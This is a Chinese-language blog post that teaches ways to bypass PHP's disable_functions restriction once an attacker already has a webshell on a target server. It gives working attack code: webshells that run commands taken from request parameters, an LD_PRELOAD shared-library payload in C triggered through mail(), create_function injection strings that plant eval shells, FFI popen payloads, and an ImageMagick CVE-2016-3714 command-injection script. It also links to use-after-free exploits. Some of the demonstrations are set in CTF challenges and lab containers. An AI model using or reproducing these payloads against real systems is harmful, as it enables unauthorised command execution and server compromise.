disable_functions绕过

前言

我们在日常工作中或者一些攻防项目中,可能会遇到这种情况:我们千辛万苦才拿到的Webshell,but!!!!!!!无法执行命令,并且在很多rt的面试当中也常会问到这种问题,往往特别当我们遇到php站点时,碰到函数都被禁用,将会导致我们无法进行后面的渗透工作,马上就要写完报告了、拿下这个站就可以下班了…要是突然给你来了这么一刀,这滋味只有感受过的人才会知道😭,你会甘心吗?出现这种情况大多是disable_functions的原因,disable_functions其实是放在php.ini配置文件中的一个设置参数,用来过滤止一些危险函数,但是默认情况下为空,不同开发者面临的需求和能力不同,为了实现某些特殊功能,调用的函数也会不同,当一些系统的关键函数的被禁用掉,像:system,exec,shell_exec,popen等,就会导致我们拿到shell之后,执行不了命令的原因,通常表现为:执行命令返回ret=127,如下图

当我们想查看disable_functions或者想知道都禁用了哪些函数,可以在php.ini查看,也可以使用phpinfo();

今天这篇文章,主要讲一下disable_functions常见的绕过方式

常规绕过

很多时候,disable functions及时限制了危险函数,也可能会有限制不全的情况,所以很有可能忽略某些危险函数,也就是我们常说的黑名单,常见的有以下几种:
1、exec()

1
2
3
<?php
echo exec('whoami');
?>

2、shell_exec()

1
2
3
<?php
echo shell_exec('whoami');
?>

3、system()

1
2
3
<?php
system('whoami');
?>

4、passthru()

1
2
3
<?php
passthru("whoami");
?>

5、popen()

1
2
3
4
5
6
7
8
<?php
$command=$_POST['cmd'];
$handle = popen($command,"r");
while(!feof($handle)){
echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>

6、proc_open()

1
2
3
4
5
6
7
8
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>

等等

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它最大的特点就是可以自定义在程序运行前优先加载的动态链接库,这个特点主要就是用来有选择性的载入不同动态链接库中的相同函数,然后在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数,仍可执行系统命令的目的,说白了就是个同名函数谁能先执行的问题,使用LD_PRELOAD加持,就可以优先执行,假如我们想知道某个命令会调用系统哪些API或者哪些可执行文件的符号表,我们可用下面的命令(拿id命令举例)

1
readefl -Ws `which id`

不过这个命令展示的结果不代表一定会进行调用,那么我们可以通过下面的命令看到实际调用的情况

1
strace -f `which id` 2>&1

由于被劫持的系统函数需要由我们重新实现一次,所以函数原型必须一致,所以我们应该优先选择那些无参数并且常用的系统函数,比如getuid(),我们可以先用man命令查看一下getuid的函数原型

既然这样,我们就用getuid做劫持测试,先写一段getuid的c源码,然后编译成64位共享动态链接库,也就是xxxx.so(也就是对应c的同名文件,编译过程的报错可以忽略)

至于为什么要用-fPIC参数,这样编译出来的代码是没有绝对地址的,将全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,并且都可以正确的执行,这样一来,共享库被加载时,在内存的位置将不会是固定的。接下来我们执行看下效果

1
LD_PRELOAD=/xxx/xxx/xxx.so `which id`

可以看到系统会先加载我们写的so文件,然后执行id命令,我的环境可能出了点问题,所以会重复多次执行新增的语句,但不过也没啥影响,那我们如何在php站点中使用LD_PRELOAD进行disable——functions的绕过?思路很简单:创建一个可执行系统命令的so文件,然后再编写一个php文件去引用我们的这个so文件。

知识点补充:在php中,我们可以用putenv函数提前加载我们设计好的so文件

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发,利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

攻击脚本如下:bypass_disablefunc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

GCC 有个 C 语言扩展修饰符 attribute(上图圈起来的部分),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行,并且会从环境变量 EVILCMDLINE 中接收刚才php传递过来的待执行的命令行,接下来编译为共享对象文件

然后我们把所有相关文件上传到web目录下

看一下效果

Apache Mod CGI

CGI是什么?简单来说就是放在服务器上的可执行程序,比如使用linux shell脚本编写的cgi程序便可以执行系统命令,任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端,可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中,绕过方式:就是利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,利用条件是当我们发现目标主机Apache开启了CGI,Web目录下有写入的权限:

在本地准备好.htaccess文件和要执行命令的cgi文件

通过蚁剑上传到web目录

这个时候我们的CGI还不能执行,因为还没有权限,我们使用php的chmod()函数给其添加可执行权限

赋予权限以后,当我们再访问CGI文件便可成功执行命令

也可以尝试直接使用蚁剑的插件

PHP-FPM

什么是PHP-FPM?FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM,FPM按照CGI的协议将TCP流解析成真正的数据,由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和fpm进行通信,于是就有了利用Webshell直接与FPM通信从而绕过disable_functions的姿势,利用条件:当我们拿到一个shell之后,查看phpinfo发现设置了disable_functions,并且我们发现目标主机配置了FPM/Fastcgi,这个时候就可以使用PHP-FPM绕过disable_functions来执行命令

蚁剑中有通过PHP-FPM模式绕过disable_functions的插件(注意:该模式下需要选择PHP-FPM的接口地址,需要自行找配置文件查FPM接口地址,默认的是 unix:///本地Socket这种的,如果配置成TCP的默认是127.0.0.1:9000)

成功配置后,会在同目录下上传一个.antproxy.php文件,我们只需重新连接获取新的shell即可,新的shell是可以成功执行所有命令的

GC UAF

原理就是利用PHP垃圾收集器中很多年前存在的一个bug,通过PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令,php版本利用条件:7.0-7.3,接下来,还是通过 一道CTF题目【GKCTF2020】CheckIN 来演示如何绕过,此时我们已经拿到了shell,然后需要下载我们要利用到的脚本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
下载后,在pwn函数中放置你想要执行的系统命令

但是这样有一个弊端,每次执行什么命令,都需要去改PWN函数里面的内容,所以我们可以直接该为POST传参

然后将修改完的脚本上传至目标主机有权限的目录当中,然后将脚本包含进来并使用POST方法提供你想要执行的命令即可

Json Serializer UAF

原理就是利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令,利用方法和其他的UAF绕过disable_functions大同小异,首先我们下载利用脚本:https://github.com/mm0r1/exploits/tree/master/php-json-bypass 下载下来之后,还是像刚才那样对脚本稍作修改,改成传参形式

修改完成之后,上传至有权限的目录(/var/tmp/)后包含执行就可以了

1
2
/?xxx=include("/var/tmp/exploit.php");
POST: whoami=cat /etc/passwd

FFI扩展

在php的7.4版本中有一个新特性即FFI即外部函数接口,总结来说就是能够让你在php中调用c的技术,这样一来,我们可以先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass,下面通过2020年极客大挑战的一道题目来演示如何利用PHP 7.4 FFI成功突破disable_functions的限制。进入题目后,首先发现源代码中有一段提示

说明可以动态的执行php代码,此刻联想到了create_function代码注入

1
/?fighter=create_function&fights=&invincibly=;}eval($_POST[whoami]);/*

成功连接蚁剑,but!!但是无法访问其他目录,刚开始我脑子抽了,一直以为是我的环境或者电脑出了什么问题,以至于在这里耽误了很长时间…😰

通过create_function代码注入执行phpinfo(),看到了disable_functions和FFI的配置信息,够狠..函数基本给我禁了了并且FFI也是开启的

首先尝试调用C库的system函数,因为考虑到c库中的system执行命令没有回显,所以可以将结果写入到一个有权限的目录,然后再用echo将结果读出来

1
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*

but!!失败了..没有返回任何结果,C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现,所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数

1
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

执行结束后,查看源码可以发现成功执行命令(ls /),并成功读取到结果

ImageMagick

imagemagick是一个用于处理图片的程序,它可以读取、转换、写入多种格式的图片,其实ImageMagick绕过disable_functions说白了就是使用ImageMagick的一个历史漏洞(CVE-2016-3714),只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令,所以如果在phpinfo中看到有这个ImageMagick,都可以进行尝试一下

为了方便演示,我直接使用网上已有的docker镜像来搭建环境

1
2
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

进入容器查看poc.php和poc.png,这其实是已经写好的poc,执行命令就是ls -la,当然想要执行命令我们可以自己构造,poc也可自行构建

开始验证poc,在容器外执行,可以发现成功执行了ls -la命令

1
docker exec i_imagemagick_1 convert /poc.png 1.png

附上利用脚本,将其上传到目标主机有权限的目录,然后包含该脚本并传参执行命令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

【参考文章】
https://www.laruence.com/2020/03/11/5475.html
https://www.php.net/manual/zh/class.ffi.php
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
https://mp.weixin.qq.com/s/fs-IKJuDptJeZMRDCtbdkw
https://www.freebuf.com/articles/web/192052.html
https://mp.weixin.qq.com/s/_L379eq0kufu3CCHN1DdkA


disable_functions绕过
http://example.com/2024/05/05/disable-functions绕过/
作者
liuty
发布于
2024年5月5日
许可协议